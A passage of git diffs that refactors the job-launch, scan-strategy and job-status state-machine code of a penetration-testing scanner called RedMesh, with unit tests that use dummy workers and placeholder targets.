passes + +The next phase should expand regression guardrails across the remaining known failure modes. diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 588f4118..20ca0d47 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -34,8 +34,6 @@ from collections import deque from naeural_core.business.default.web_app.fast_api_web_app import FastApiWebAppPlugin as BasePlugin -from .worker import PentestLocalWorker -from .graybox.worker import GrayboxLocalWorker from .mixins import ( _RedMeshLlmAgentMixin, _AttestationMixin, _RiskScoringMixin, _ReportMixin, _LiveProgressMixin, @@ -68,13 +66,15 @@ LOCAL_WORKERS_DEFAULT, PHASE_MARKERS, ) - -# Worker dispatch table — maps ScanType to worker class. -# Adding a new scan type = new entry here + new worker class. -WORKER_DISPATCH = { - ScanType.NETWORK: PentestLocalWorker, - ScanType.WEBAPP: GrayboxLocalWorker, -} +from .services import ( + coerce_scan_type, + get_scan_strategy, + is_intermediate_job_status, + is_terminal_job_status, + iter_scan_strategies, + launch_local_jobs, + set_job_status, +) # Human-readable phase labels for progress reporting PHASE_LABELS = { @@ -337,11 +337,7 @@ def __post_init(self): def _coerce_scan_type(self, scan_type=None): """Normalize optional scan-type input to ScanType or None.""" - if scan_type in (None, "", "all"): - return None - if isinstance(scan_type, ScanType): - return scan_type - return ScanType(str(scan_type)) + return coerce_scan_type(scan_type) def _get_supported_features(self, scan_type=None, categs=False): @@ -356,14 +352,11 @@ def _get_supported_features(self, scan_type=None, categs=False): If True, return a dict keyed by category; otherwise a flat list. """ normalized_scan_type = self._coerce_scan_type(scan_type) - worker_items = ( - [(normalized_scan_type, WORKER_DISPATCH[normalized_scan_type])] - if normalized_scan_type - else list(WORKER_DISPATCH.items()) - ) + worker_items = iter_scan_strategies(normalized_scan_type) features = {} if categs else [] - for _, worker_cls in worker_items: + for _, strategy in worker_items: + worker_cls = strategy.worker_cls worker_features = worker_cls.get_supported_features(categs=categs) if categs: for category, methods in worker_features.items(): @@ -400,12 +393,9 @@ def _get_all_features(self, categs=False, scan_type=None): def _get_feature_catalog(self, scan_type=None): """Return catalog items relevant to the requested scan type.""" normalized_scan_type = self._coerce_scan_type(scan_type) - if normalized_scan_type == ScanType.WEBAPP: - allowed_categories = {"graybox"} - elif normalized_scan_type == ScanType.NETWORK: - allowed_categories = {"service", "web", "correlation"} - else: - allowed_categories = None + allowed_categories = None if normalized_scan_type is None else set( + get_scan_strategy(normalized_scan_type).catalog_categories + ) catalog = [] for item in FEATURE_CATALOG: @@ -419,7 +409,7 @@ def _validate_feature_catalog(self): """Fail fast if catalog methods reference non-executable worker capabilities.""" supported_by_type = { scan_type: set(self._get_supported_features(scan_type=scan_type)) - for scan_type in WORKER_DISPATCH + for scan_type, _ in iter_scan_strategies() } catalog_by_type = { ScanType.NETWORK: self._get_feature_catalog(scan_type=ScanType.NETWORK), @@ -552,7 +542,7 @@ def _launch_job( scanner_user_agent="", ): """ - Launch local worker threads for a job by splitting the port range. + Compatibility wrapper around the extracted local launch service. Parameters ---------- @@ -589,78 +579,31 @@ def _launch_job( Raises ------ ValueError - When no ports are available or batches cannot be allocated. - """ - if excluded_features is None: - excluded_features = [] - if enabled_features is None: - enabled_features = [] - local_jobs = {} - ports = list(range(start_port, end_port + 1)) - batches = [] - if port_order == PORT_ORDER_SEQUENTIAL: - ports = sorted(ports) # redundant but explicit - else: - port_order = PORT_ORDER_SHUFFLE - random.shuffle(ports) - nr_ports = len(ports) - if nr_ports == 0: - raise ValueError("No ports available for local workers.") - nr_local_workers = max(1, min(nr_local_workers, nr_ports)) - base_chunk, remainder = divmod(nr_ports, nr_local_workers) - start = 0 - if exceptions is None: - exceptions = [] - for i in range(nr_local_workers): - chunk = base_chunk + (1 if i < remainder else 0) - end = start + chunk - batch = ports[start:end] - if batch: - batches.append(batch) - start = end - #endfor create batches - if not batches: - raise ValueError("Unable to allocate port batches to workers.") - if job_id not in self.scan_jobs: - self.scan_jobs[job_id] = {} - for i, batch in enumerate(batches): - try: - self.P("Launching {} requested by {} for target {} - {} ports. Port order {}".format( - job_id, network_worker_address, - target, len(batch), port_order - )) - batch_job = PentestLocalWorker( - owner=self, - local_id_prefix=str(i + 1), - target=target, - job_id=job_id, - initiator=network_worker_address, - exceptions=exceptions, - worker_target_ports=batch, - excluded_features=excluded_features, - enabled_features=enabled_features, - scan_min_delay=scan_min_delay, - scan_max_delay=scan_max_delay, - ics_safe_mode=ics_safe_mode, - scanner_identity=scanner_identity, - scanner_user_agent=scanner_user_agent, - ) - batch_job.start() - local_jobs[batch_job.local_worker_id] = batch_job - except Exception as exc: - self.P( - "Failed to launch batch local job for ports [{}-{}]. Port order {}: {}".format( - min(batch) if batch else "-", - max(batch) if batch else "-", - port_order, - exc - ), - color='r' - ) - #end for each batch launch a PentestLocalWorker - if not local_jobs: - raise ValueError("No local workers could be launched for the requested port range.") - return local_jobs + When the launch service cannot allocate or start local work. + """ + job_config = { + "scan_type": ScanType.NETWORK.value, + "exceptions": exceptions or [], + "port_order": port_order, + "excluded_features": excluded_features or [], + "enabled_features": enabled_features or [], + "scan_min_delay": scan_min_delay, + "scan_max_delay": scan_max_delay, + "ics_safe_mode": ics_safe_mode, + "scanner_identity": scanner_identity, + "scanner_user_agent": scanner_user_agent, + "nr_local_workers": nr_local_workers, + } + return launch_local_jobs( + self, + job_id=job_id, + target=target, + launcher=network_worker_address, + start_port=start_port, + end_port=end_port, + job_config=job_config, + nr_local_workers_override=nr_local_workers, + ) def _maybe_launch_jobs(self, nr_local_workers=None): """ @@ -732,76 +675,30 @@ def _maybe_launch_jobs(self, nr_local_workers=None): end_port = 65535 # Fetch job config from R1FS job_config = self._get_job_config(job_specs) - job_scan_type = job_config.get("scan_type", "network") - - # Webapp dispatch: single GrayboxLocalWorker - if job_scan_type == ScanType.WEBAPP.value: - try: - job_config_obj = JobConfig.from_dict(job_config) - worker = GrayboxLocalWorker( - owner=self, - job_id=job_id, - target_url=job_config_obj.target_url, - job_config=job_config_obj, - local_id="1", - initiator=launcher, - ) - if job_id not in self.scan_jobs: - self.scan_jobs[job_id] = {} - self.scan_jobs[job_id][worker.local_worker_id] = worker - worker.start() - except Exception as exc: - self.P(f"Skipping webapp job {job_id}: {exc}", color='r') - worker_entry["finished"] = True - worker_entry["error"] = str(exc) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) - continue - else: - # Network dispatch: multi-worker PentestLocalWorker - exceptions = job_config.get("exceptions", []) - if not isinstance(exceptions, list): - exceptions = [] - port_order = job_config.get("port_order", self.cfg_port_order) - excluded_features = job_config.get("excluded_features", self.cfg_excluded_features) - enabled_features = job_config.get("enabled_features", []) - scan_min_delay = job_config.get("scan_min_delay", self.cfg_scan_min_rnd_delay) - scan_max_delay = job_config.get("scan_max_delay", self.cfg_scan_max_rnd_delay) - ics_safe_mode = job_config.get("ics_safe_mode", self.cfg_ics_safe_mode) - scanner_identity = job_config.get("scanner_identity", self.cfg_scanner_identity) - scanner_user_agent = job_config.get("scanner_user_agent", self.cfg_scanner_user_agent) - workers_from_spec = job_config.get("nr_local_workers") - if nr_local_workers is not None: - workers_requested = nr_local_workers - elif workers_from_spec is not None and int(workers_from_spec) > 0: - workers_requested = int(workers_from_spec) - else: - workers_requested = self.cfg_nr_local_workers - self.P("Using {} local workers for job {}".format(workers_requested, job_id)) - try: - local_jobs = self._launch_job( - job_id=job_id, - target=target, - start_port=start_port, - end_port=end_port, - network_worker_address=launcher, - nr_local_workers=workers_requested, - exceptions=exceptions, - port_order=port_order, - excluded_features=excluded_features, - enabled_features=enabled_features, - scan_min_delay=scan_min_delay, - scan_max_delay=scan_max_delay, - ics_safe_mode=ics_safe_mode, - scanner_identity=scanner_identity, - scanner_user_agent=scanner_user_agent, - ) - except ValueError as exc: - self.P(f"Skipping job {job_id}: {exc}", color='r') - worker_entry["finished"] = True - worker_entry["error"] = str(exc) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) - continue - self.scan_jobs[job_id] = local_jobs + try: + local_jobs = launch_local_jobs( + self, + job_id=job_id, + target=target, + launcher=launcher, + start_port=start_port, + end_port=end_port, + job_config=job_config, + nr_local_workers_override=nr_local_workers, + ) + except ValueError as exc: + self.P(f"Skipping job {job_id}: {exc}", color='r') + worker_entry["finished"] = True + worker_entry["error"] = str(exc) + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) + continue + except Exception as exc: + self.P(f"Skipping job {job_id}: {exc}", color='r') + worker_entry["finished"] = True + worker_entry["error"] = str(exc) + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) + continue + self.scan_jobs[job_id] = local_jobs #endif need to launch new job #end for each potential new job #endif it is time to check @@ -1048,7 +945,7 @@ def _maybe_close_jobs(self): all_workers_done = True any_canceled_worker = False reports = {} - job : PentestLocalWorker = None + job = None initiator = None nr_local_workers = len(local_workers) for local_worker_id, job in local_workers.items(): @@ -1242,7 +1139,7 @@ def _maybe_finalize_pass(self): pass_reports = job_specs.setdefault("pass_reports", []) # Skip jobs that are already finalized, stopped, or mid-finalization - if job_status in (JOB_STATUS_FINALIZED, JOB_STATUS_STOPPED): + if is_terminal_job_status(job_status): # Stuck recovery: if no job_cid, the archive build failed previously — retry # But only if there are pass reports to build from (hard-stopped jobs # that never completed a pass have nothing to archive) @@ -1250,7 +1147,7 @@ def _maybe_finalize_pass(self): self.P(f"[STUCK RECOVERY] {job_id} is {job_status} but has no job_cid — retrying archive build", color='y') self._build_job_archive(job_id, job_specs) continue - if job_status in (JOB_STATUS_COLLECTING, JOB_STATUS_ANALYZING, JOB_STATUS_FINALIZING): + if is_intermediate_job_status(job_status): continue if all_finished and next_pass_at is None: @@ -1262,7 +1159,7 @@ def _maybe_finalize_pass(self): now_ts = pass_date_completed # --- COLLECTING: merge worker reports --- - job_specs["job_status"] = JOB_STATUS_COLLECTING + set_job_status(job_specs, JOB_STATUS_COLLECTING) self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) # 1. AGGREGATE ONCE — fetch node reports from R1FS and merge @@ -1284,7 +1181,7 @@ def _maybe_finalize_pass(self): llm_text = None summary_text = None if self.cfg_llm_agent_api_enabled and aggregated: - job_specs["job_status"] = JOB_STATUS_ANALYZING + set_job_status(job_specs, JOB_STATUS_ANALYZING) self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) llm_text = self._run_aggregated_llm_analysis(job_id, aggregated, job_config) summary_text = self._run_quick_summary_analysis(job_id, aggregated, job_config) @@ -1407,12 +1304,12 @@ def _maybe_finalize_pass(self): pass_reports.append(PassReportRef(job_pass, pass_report_cid, risk_score).to_dict()) # --- FINALIZING: writing archive --- - job_specs["job_status"] = JOB_STATUS_FINALIZING + set_job_status(job_specs, JOB_STATUS_FINALIZING) self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) # Handle SINGLEPASS - set FINALIZED, build archive, prune CStore if run_mode == RUN_MODE_SINGLEPASS: - job_specs["job_status"] = JOB_STATUS_FINALIZED + set_job_status(job_specs, JOB_STATUS_FINALIZED) self._emit_timeline_event(job_specs, "scan_completed", "Scan completed") if redmesh_test_attestation is not None: self._emit_timeline_event( @@ -1431,7 +1328,7 @@ def _maybe_finalize_pass(self): # Check if soft stop was scheduled — build archive and prune CStore if job_status == JOB_STATUS_SCHEDULED_FOR_STOP: - job_specs["job_status"] = JOB_STATUS_STOPPED + set_job_status(job_specs, JOB_STATUS_STOPPED) self._emit_timeline_event(job_specs, "scan_completed", f"Scan completed (pass {job_pass})") if redmesh_test_attestation is not None: self._emit_timeline_event( @@ -1454,6 +1351,7 @@ def _maybe_finalize_pass(self): actor_type="system", meta={**redmesh_test_attestation, "network": self.REDMESH_ATTESTATION_NETWORK} ) + set_job_status(job_specs, JOB_STATUS_RUNNING) interval = job_config.get("monitor_interval", self.cfg_monitor_interval) jitter = random.uniform(0, self.cfg_monitor_jitter) job_specs["next_pass_at"] = self.time() + interval + jitter @@ -2477,7 +2375,7 @@ def stop_and_delete_job(self, job_id : str): worker_entry = job_specs.setdefault("workers", {}).setdefault(self.ee_addr, {}) worker_entry["finished"] = True worker_entry["canceled"] = True - job_specs["job_status"] = JOB_STATUS_STOPPED + set_job_status(job_specs, JOB_STATUS_STOPPED) self._emit_timeline_event(job_specs, "stopped", "Job stopped and deleted", actor_type="user") self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) else: @@ -2718,12 +2616,12 @@ def stop_monitoring(self, job_id: str, stop_type: str = "SOFT"): worker_entry["finished"] = True worker_entry["canceled"] = True - job_specs["job_status"] = JOB_STATUS_STOPPED + set_job_status(job_specs, JOB_STATUS_STOPPED) self._emit_timeline_event(job_specs, "stopped", "Job stopped", actor_type="user") self.P(f"Hard stop for job {job_id} after {passes_completed} passes") else: # SOFT stop - let current pass complete (continuous monitoring only) - job_specs["job_status"] = JOB_STATUS_SCHEDULED_FOR_STOP + set_job_status(job_specs, JOB_STATUS_SCHEDULED_FOR_STOP) self._emit_timeline_event(job_specs, "scheduled_for_stop", "Stop scheduled", actor_type="user") self.P(f"[CONTINUOUS] Soft stop scheduled for job {job_id} (will stop after current pass)") diff --git a/extensions/business/cybersec/red_mesh/services/__init__.py b/extensions/business/cybersec/red_mesh/services/__init__.py new file mode 100644 index 00000000..ef260722 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/services/__init__.py @@ -0,0 +1,29 @@ +from .launch import launch_local_jobs +from .scan_strategy import ( + ScanStrategy, + coerce_scan_type, + get_scan_strategy, + iter_scan_strategies, +) +from .state_machine import ( + INTERMEDIATE_JOB_STATUSES, + TERMINAL_JOB_STATUSES, + can_transition_job_status, + is_intermediate_job_status, + is_terminal_job_status, + set_job_status, +) + +__all__ = [ + "INTERMEDIATE_JOB_STATUSES", + "ScanStrategy", + "TERMINAL_JOB_STATUSES", + "can_transition_job_status", + "coerce_scan_type", + "get_scan_strategy", + "is_intermediate_job_status", + "is_terminal_job_status", + "iter_scan_strategies", + "launch_local_jobs", + "set_job_status", +] diff --git a/extensions/business/cybersec/red_mesh/services/launch.py b/extensions/business/cybersec/red_mesh/services/launch.py new file mode 100644 index 00000000..9832d63c --- /dev/null +++ b/extensions/business/cybersec/red_mesh/services/launch.py @@ -0,0 +1,163 @@ +import random + +from ..constants import ( + PORT_ORDER_SEQUENTIAL, + PORT_ORDER_SHUFFLE, + ScanType, +) +from ..models import JobConfig +from .scan_strategy import get_scan_strategy + + +def _launch_network_jobs( + owner, + strategy, + *, + job_id, + target, + launcher, + start_port, + end_port, + job_config, + nr_local_workers_override=None, +): + exceptions = job_config.get("exceptions", []) + if not isinstance(exceptions, list): + exceptions = [] + port_order = job_config.get("port_order", owner.cfg_port_order) + excluded_features = job_config.get("excluded_features", owner.cfg_excluded_features) + enabled_features = job_config.get("enabled_features", []) + scan_min_delay = job_config.get("scan_min_delay", owner.cfg_scan_min_rnd_delay) + scan_max_delay = job_config.get("scan_max_delay", owner.cfg_scan_max_rnd_delay) + ics_safe_mode = job_config.get("ics_safe_mode", owner.cfg_ics_safe_mode) + scanner_identity = job_config.get("scanner_identity", owner.cfg_scanner_identity) + scanner_user_agent = job_config.get("scanner_user_agent", owner.cfg_scanner_user_agent) + workers_from_spec = job_config.get("nr_local_workers") + if nr_local_workers_override is not None: + workers_requested = nr_local_workers_override + elif workers_from_spec is not None and int(workers_from_spec) > 0: + workers_requested = int(workers_from_spec) + else: + workers_requested = owner.cfg_nr_local_workers + + owner.P("Using {} local workers for job {}".format(workers_requested, job_id)) + + ports = list(range(start_port, end_port + 1)) + batches = [] + if port_order == PORT_ORDER_SEQUENTIAL: + ports = sorted(ports) + else: + port_order = PORT_ORDER_SHUFFLE + random.shuffle(ports) + + nr_ports = len(ports) + if nr_ports == 0: + raise ValueError("No ports available for local workers.") + + workers_requested = max(1, min(workers_requested, nr_ports)) + base_chunk, remainder = divmod(nr_ports, workers_requested) + start_index = 0 + for index in range(workers_requested): + chunk = base_chunk + (1 if index < remainder else 0) + end_index = start_index + chunk + batch = ports[start_index:end_index] + if batch: + batches.append(batch) + start_index = end_index + + if not batches: + raise ValueError("Unable to allocate port batches to workers.") + + local_jobs = {} + for index, batch in enumerate(batches): + try: + owner.P("Launching {} requested by {} for target {} - {} ports. Port order {}".format( + job_id, launcher, target, len(batch), port_order + )) + batch_job = strategy.worker_cls( + owner=owner, + local_id_prefix=str(index + 1), + target=target, + job_id=job_id, + initiator=launcher, + exceptions=exceptions, + worker_target_ports=batch, + excluded_features=excluded_features, + enabled_features=enabled_features, + scan_min_delay=scan_min_delay, + scan_max_delay=scan_max_delay, + ics_safe_mode=ics_safe_mode, + scanner_identity=scanner_identity, + scanner_user_agent=scanner_user_agent, + ) + batch_job.start() + local_jobs[batch_job.local_worker_id] = batch_job + except Exception as exc: + owner.P( + "Failed to launch batch local job for ports [{}-{}]. Port order {}: {}".format( + min(batch) if batch else "-", + max(batch) if batch else "-", + port_order, + exc, + ), + color='r' + ) + + if not local_jobs: + raise ValueError("No local workers could be launched for the requested port range.") + return local_jobs + + +def _launch_webapp_job( + owner, + strategy, + *, + job_id, + launcher, + job_config, +): + job_config_obj = JobConfig.from_dict(job_config) + worker = strategy.worker_cls( + owner=owner, + job_id=job_id, + target_url=job_config_obj.target_url, + job_config=job_config_obj, + local_id="1", + initiator=launcher, + ) + worker.start() + return {worker.local_worker_id: worker} + + +def launch_local_jobs( + owner, + *, + job_id, + target, + launcher, + start_port, + end_port, + job_config, + nr_local_workers_override=None, +): + strategy = get_scan_strategy(job_config.get("scan_type", ScanType.NETWORK.value)) + if strategy.scan_type == ScanType.WEBAPP: + return _launch_webapp_job( + owner, + strategy, + job_id=job_id, + launcher=launcher, + job_config=job_config, + ) + + return _launch_network_jobs( + owner, + strategy, + job_id=job_id, + target=target, + launcher=launcher, + start_port=start_port, + end_port=end_port, + job_config=job_config, + nr_local_workers_override=nr_local_workers_override, + ) diff --git a/extensions/business/cybersec/red_mesh/services/scan_strategy.py b/extensions/business/cybersec/red_mesh/services/scan_strategy.py new file mode 100644 index 00000000..c1e9e690 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/services/scan_strategy.py @@ -0,0 +1,49 @@ +from dataclasses import dataclass + +from ..constants import ScanType +from ..graybox.worker import GrayboxLocalWorker +from ..worker import PentestLocalWorker + + +@dataclass(frozen=True) +class ScanStrategy: + scan_type: ScanType + worker_cls: type + catalog_categories: tuple[str, ...] + + +SCAN_STRATEGIES = { + ScanType.NETWORK: ScanStrategy( + scan_type=ScanType.NETWORK, + worker_cls=PentestLocalWorker, + catalog_categories=("service", "web", "correlation"), + ), + ScanType.WEBAPP: ScanStrategy( + scan_type=ScanType.WEBAPP, + worker_cls=GrayboxLocalWorker, + catalog_categories=("graybox",), + ), +} + + +def coerce_scan_type(scan_type=None): + """Normalize optional scan-type input to ScanType or None.""" + if scan_type in (None, "", "all"): + return None + if isinstance(scan_type, ScanType): + return scan_type + return ScanType(str(scan_type)) + + +def get_scan_strategy(scan_type=None, default=ScanType.NETWORK) -> ScanStrategy: + normalized = coerce_scan_type(scan_type) + if normalized is None: + normalized = default + return SCAN_STRATEGIES[normalized] + + +def iter_scan_strategies(scan_type=None): + normalized = coerce_scan_type(scan_type) + if normalized is not None: + return [(normalized, SCAN_STRATEGIES[normalized])] + return list(SCAN_STRATEGIES.items()) diff --git a/extensions/business/cybersec/red_mesh/services/state_machine.py b/extensions/business/cybersec/red_mesh/services/state_machine.py new file mode 100644 index 00000000..03e10b64 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/services/state_machine.py @@ -0,0 +1,72 @@ +from ..constants import ( + JOB_STATUS_ANALYZING, + JOB_STATUS_COLLECTING, + JOB_STATUS_FINALIZED, + JOB_STATUS_FINALIZING, + JOB_STATUS_RUNNING, + JOB_STATUS_SCHEDULED_FOR_STOP, + JOB_STATUS_STOPPED, +) + + +JOB_STATUS_TRANSITIONS = { + JOB_STATUS_RUNNING: { + JOB_STATUS_COLLECTING, + JOB_STATUS_SCHEDULED_FOR_STOP, + JOB_STATUS_STOPPED, + }, + JOB_STATUS_SCHEDULED_FOR_STOP: { + JOB_STATUS_COLLECTING, + JOB_STATUS_STOPPED, + }, + JOB_STATUS_COLLECTING: { + JOB_STATUS_ANALYZING, + JOB_STATUS_FINALIZING, + JOB_STATUS_STOPPED, + }, + JOB_STATUS_ANALYZING: { + JOB_STATUS_FINALIZING, + JOB_STATUS_STOPPED, + }, + JOB_STATUS_FINALIZING: { + JOB_STATUS_RUNNING, + JOB_STATUS_FINALIZED, + JOB_STATUS_STOPPED, + }, + JOB_STATUS_FINALIZED: set(), + JOB_STATUS_STOPPED: set(), +} + +TERMINAL_JOB_STATUSES = { + JOB_STATUS_FINALIZED, + JOB_STATUS_STOPPED, +} + +INTERMEDIATE_JOB_STATUSES = { + JOB_STATUS_COLLECTING, + JOB_STATUS_ANALYZING, + JOB_STATUS_FINALIZING, +} + + +def can_transition_job_status(current_status: str, next_status: str) -> bool: + if current_status == next_status: + return True + allowed = JOB_STATUS_TRANSITIONS.get(current_status, set()) + return next_status in allowed + + +def set_job_status(job_specs: dict, next_status: str) -> dict: + current_status = job_specs.get("job_status", JOB_STATUS_RUNNING) + if not can_transition_job_status(current_status, next_status): + raise ValueError(f"Invalid job status transition: {current_status} -> {next_status}") + job_specs["job_status"] = next_status + return job_specs + + +def is_terminal_job_status(status: str) -> bool: + return status in TERMINAL_JOB_STATUSES + + +def is_intermediate_job_status(status: str) -> bool: + return status in INTERMEDIATE_JOB_STATUSES diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index d91c0685..c1e58369 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -693,6 +693,30 @@ def test_aggregated_report_separate_cid(self): # Aggregated data should have open_ports (from AggregatedScanData) self.assertIn("open_ports", agg_dict) + def test_continuous_pass_returns_job_status_to_running(self): + """Continuous monitoring jobs re-enter RUNNING after pass finalization.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin(run_mode="CONTINUOUS_MONITORING") + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {"80": "http"}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com", "monitor_interval": 60}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + self.assertEqual(job_specs["job_status"], "RUNNING") + self.assertIsNotNone(job_specs.get("next_pass_at")) + def test_finding_id_deterministic(self): """Same input produces same finding_id; different title produces different id.""" PentesterApi01Plugin = self._get_plugin_class() diff --git a/extensions/business/cybersec/red_mesh/tests/test_launch_service.py b/extensions/business/cybersec/red_mesh/tests/test_launch_service.py new file mode 100644 index 00000000..39491f7a --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_launch_service.py @@ -0,0 +1,121 @@ +import unittest +from unittest.mock import patch + +from extensions.business.cybersec.red_mesh.constants import ( + PORT_ORDER_SEQUENTIAL, + ScanType, +) +from extensions.business.cybersec.red_mesh.services.launch import launch_local_jobs +from extensions.business.cybersec.red_mesh.services.scan_strategy import ScanStrategy + + +class DummyOwner: + def __init__(self): + self.cfg_port_order = PORT_ORDER_SEQUENTIAL + self.cfg_excluded_features = [] + self.cfg_scan_min_rnd_delay = 0.0 + self.cfg_scan_max_rnd_delay = 0.0 + self.cfg_ics_safe_mode = True + self.cfg_scanner_identity = "probe.redmesh.local" + self.cfg_scanner_user_agent = "" + self.cfg_nr_local_workers = 2 + self.messages = [] + + def P(self, message, **_kwargs): + self.messages.append(message) + + +class DummyNetworkWorker: + def __init__(self, *, local_id_prefix, worker_target_ports, **kwargs): + self.local_worker_id = f"worker-{local_id_prefix}" + self.worker_target_ports = worker_target_ports + self.kwargs = kwargs + self.started = False + + def start(self): + self.started = True + + +class DummyWebappWorker: + def __init__(self, *, local_id, target_url, job_config, **kwargs): + self.local_worker_id = local_id + self.target_url = target_url + self.job_config = job_config + self.kwargs = kwargs + self.started = False + + def start(self): + self.started = True + + +class TestLaunchService(unittest.TestCase): + + def test_launch_local_jobs_uses_network_strategy_dispatch(self): + owner = DummyOwner() + strategy = ScanStrategy( + scan_type=ScanType.NETWORK, + worker_cls=DummyNetworkWorker, + catalog_categories=("service",), + ) + + with patch("extensions.business.cybersec.red_mesh.services.launch.get_scan_strategy", return_value=strategy): + local_jobs = launch_local_jobs( + owner, + job_id="job-1", + target="10.0.0.10", + launcher="0xlauncher", + start_port=1, + end_port=4, + job_config={ + "scan_type": "network", + "nr_local_workers": 2, + "port_order": PORT_ORDER_SEQUENTIAL, + }, + ) + + self.assertEqual(len(local_jobs), 2) + self.assertTrue(all(worker.started for worker in local_jobs.values())) + self.assertEqual( + sorted(len(worker.worker_target_ports) for worker in local_jobs.values()), + [2, 2], + ) + + def test_launch_local_jobs_uses_webapp_strategy_dispatch(self): + owner = DummyOwner() + strategy = ScanStrategy( + scan_type=ScanType.WEBAPP, + worker_cls=DummyWebappWorker, + catalog_categories=("graybox",), + ) + + with patch("extensions.business.cybersec.red_mesh.services.launch.get_scan_strategy", return_value=strategy): + local_jobs = launch_local_jobs( + owner, + job_id="job-2", + target="app.internal", + launcher="0xlauncher", + start_port=443, + end_port=443, + job_config={ + "scan_type": "webapp", + "target": "app.internal", + "start_port": 443, + "end_port": 443, + "exceptions": [], + "distribution_strategy": "SLICE", + "port_order": PORT_ORDER_SEQUENTIAL, + "nr_local_workers": 1, + "enabled_features": [], + "excluded_features": [], + "run_mode": "SINGLEPASS", + "target_url": "https://example.com/app", + "official_username": "admin", + "official_password": "secret", + }, + ) + + self.assertEqual(list(local_jobs.keys()), ["1"]) + worker = local_jobs["1"] + self.assertTrue(worker.started) + self.assertEqual(worker.target_url, "https://example.com/app") + self.assertEqual(worker.job_config.scan_type, "webapp") diff --git a/extensions/business/cybersec/red_mesh/tests/test_state_machine.py b/extensions/business/cybersec/red_mesh/tests/test_state_machine.py new file mode 100644 index 00000000..f2f925b2 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_state_machine.py @@ -0,0 +1,59 @@ +import unittest + +from extensions.business.cybersec.red_mesh.constants import ( + JOB_STATUS_ANALYZING, + JOB_STATUS_COLLECTING, + JOB_STATUS_FINALIZED, + JOB_STATUS_FINALIZING, + JOB_STATUS_RUNNING, + JOB_STATUS_SCHEDULED_FOR_STOP, + JOB_STATUS_STOPPED, +) +from extensions.business.cybersec.red_mesh.services.state_machine import ( + can_transition_job_status, + is_intermediate_job_status, + is_terminal_job_status, + set_job_status, +) + + +class TestJobStateMachine(unittest.TestCase): + + def test_allows_linear_finalization_flow(self): + job_specs = {"job_status": JOB_STATUS_RUNNING} + + set_job_status(job_specs, JOB_STATUS_COLLECTING) + set_job_status(job_specs, JOB_STATUS_ANALYZING) + set_job_status(job_specs, JOB_STATUS_FINALIZING) + set_job_status(job_specs, JOB_STATUS_FINALIZED) + + self.assertEqual(job_specs["job_status"], JOB_STATUS_FINALIZED) + self.assertTrue(is_terminal_job_status(job_specs["job_status"])) + + def test_allows_continuous_jobs_to_return_to_running_after_finalizing(self): + job_specs = {"job_status": JOB_STATUS_RUNNING} + + set_job_status(job_specs, JOB_STATUS_COLLECTING) + set_job_status(job_specs, JOB_STATUS_FINALIZING) + set_job_status(job_specs, JOB_STATUS_RUNNING) + + self.assertEqual(job_specs["job_status"], JOB_STATUS_RUNNING) + + def test_rejects_invalid_transition(self): + job_specs = {"job_status": JOB_STATUS_RUNNING} + + with self.assertRaisesRegex(ValueError, "Invalid job status transition"): + set_job_status(job_specs, JOB_STATUS_FINALIZED) + + def test_hard_stop_is_allowed_from_intermediate_states(self): + self.assertTrue(can_transition_job_status(JOB_STATUS_COLLECTING, JOB_STATUS_STOPPED)) + self.assertTrue(can_transition_job_status(JOB_STATUS_ANALYZING, JOB_STATUS_STOPPED)) + self.assertTrue(can_transition_job_status(JOB_STATUS_FINALIZING, JOB_STATUS_STOPPED)) + + def test_state_classification_helpers(self): + self.assertTrue(is_intermediate_job_status(JOB_STATUS_COLLECTING)) + self.assertTrue(is_intermediate_job_status(JOB_STATUS_ANALYZING)) + self.assertTrue(is_intermediate_job_status(JOB_STATUS_FINALIZING)) + self.assertFalse(is_intermediate_job_status(JOB_STATUS_RUNNING)) + self.assertFalse(is_terminal_job_status(JOB_STATUS_SCHEDULED_FOR_STOP)) + self.assertTrue(is_terminal_job_status(JOB_STATUS_STOPPED)) From 1faa574d37e8107783b2e03e265c71ec28f16bb0 Mon Sep 17 00:00:00 2001 From: toderian Date: Wed, 11 Mar 2026 08:04:39 +0000 Subject: [PATCH 058/114] fix: add llm agent prompts for graybox scans --- .../cybersec/red_mesh/mixins/llm_agent.py | 52 +++-- .../red_mesh/redmesh_llm_agent_api.py | 198 ++++++++++++++---- 2 files changed, 196 insertions(+), 54 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py 